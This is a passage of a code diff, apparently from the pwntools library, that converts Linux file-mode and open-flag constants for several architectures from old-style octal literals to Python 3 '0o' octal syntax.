-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECTORY = Constant('O_DIRECTORY',040000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0100000)
-O_DIRECT = Constant('O_DIRECT',0200000)
-O_LARGEFILE = Constant('O_LARGEFILE',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o40000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)
+O_DIRECT = Constant('O_DIRECT',0o200000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -576,7 +576,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/alpha.py

@@ -634,51 +634,51 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',01000)
-O_TRUNC = Constant('O_TRUNC',02000)
-O_EXCL = Constant('O_EXCL',04000)
-O_NOCTTY = Constant('O_NOCTTY',010000)
-O_NONBLOCK = Constant('O_NONBLOCK',00004)
-O_APPEND = Constant('O_APPEND',00010)
-O_NDELAY = Constant('O_NDELAY',00004)
-O_SYNC = Constant('O_SYNC',040000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECTORY = Constant('O_DIRECTORY',0100000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0200000)
-O_LARGEFILE = Constant('O_LARGEFILE',0400000)
-O_DIRECT = Constant('O_DIRECT',02000000)
-O_NOATIME = Constant('O_NOATIME',04000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o1000)
+O_TRUNC = Constant('O_TRUNC',0o2000)
+O_EXCL = Constant('O_EXCL',0o4000)
+O_NOCTTY = Constant('O_NOCTTY',0o10000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o0004)
+O_APPEND = Constant('O_APPEND',0o0010)
+O_NDELAY = Constant('O_NDELAY',0o0004)
+O_SYNC = Constant('O_SYNC',0o40000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o100000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o200000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o400000)
+O_DIRECT = Constant('O_DIRECT',0o2000000)
+O_NOATIME = Constant('O_NOATIME',0o4000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -706,7 +706,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/amd64.py

@@ -892,51 +892,51 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECT = Constant('O_DIRECT',040000)
-O_LARGEFILE = Constant('O_LARGEFILE',0100000)
-O_DIRECTORY = Constant('O_DIRECTORY',0200000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECT = Constant('O_DIRECT',0o40000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o100000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o200000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -967,7 +967,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/arm.py

@@ -919,51 +919,51 @@ F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
 STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECTORY = Constant('O_DIRECTORY',040000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0100000)
-O_DIRECT = Constant('O_DIRECT',0200000)
-O_LARGEFILE = Constant('O_LARGEFILE',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o40000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)
+O_DIRECT = Constant('O_DIRECT',0o200000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -994,7 +994,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/i386.py

@@ -597,51 +597,51 @@ F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
 STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECT = Constant('O_DIRECT',040000)
-O_LARGEFILE = Constant('O_LARGEFILE',0100000)
-O_DIRECTORY = Constant('O_DIRECTORY',0200000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECT = Constant('O_DIRECT',0o40000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o100000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o200000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -672,7 +672,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/constants/linux/ia64.py

@@ -568,51 +568,51 @@ F_ULOCK = Constant('F_ULOCK',0)
 F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
-S_IEXEC = Constant('S_IEXEC',00100)
+S_IFMT = Constant('S_IFMT',0o0170000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o0700)
+S_IRUSR = Constant('S_IRUSR',0o0400)
+S_IWUSR = Constant('S_IWUSR',0o0200)
+S_IXUSR = Constant('S_IXUSR',0o0100)
+S_IRWXG = Constant('S_IRWXG',0o0070)
+S_IRGRP = Constant('S_IRGRP',0o0040)
+S_IWGRP = Constant('S_IWGRP',0o0020)
+S_IXGRP = Constant('S_IXGRP',0o0010)
+S_IRWXO = Constant('S_IRWXO',0o0007)
+S_IROTH = Constant('S_IROTH',0o0004)
+S_IWOTH = Constant('S_IWOTH',0o0002)
+S_IXOTH = Constant('S_IXOTH',0o0001)
+S_IREAD = Constant('S_IREAD',0o0400)
+S_IWRITE = Constant('S_IWRITE',0o0200)
+S_IEXEC = Constant('S_IEXEC',0o0100)
 F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)
-O_ACCMODE = Constant('O_ACCMODE',0003)
-O_RDONLY = Constant('O_RDONLY',00)
-O_WRONLY = Constant('O_WRONLY',01)
-O_RDWR = Constant('O_RDWR',02)
-O_CREAT = Constant('O_CREAT',0100)
-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
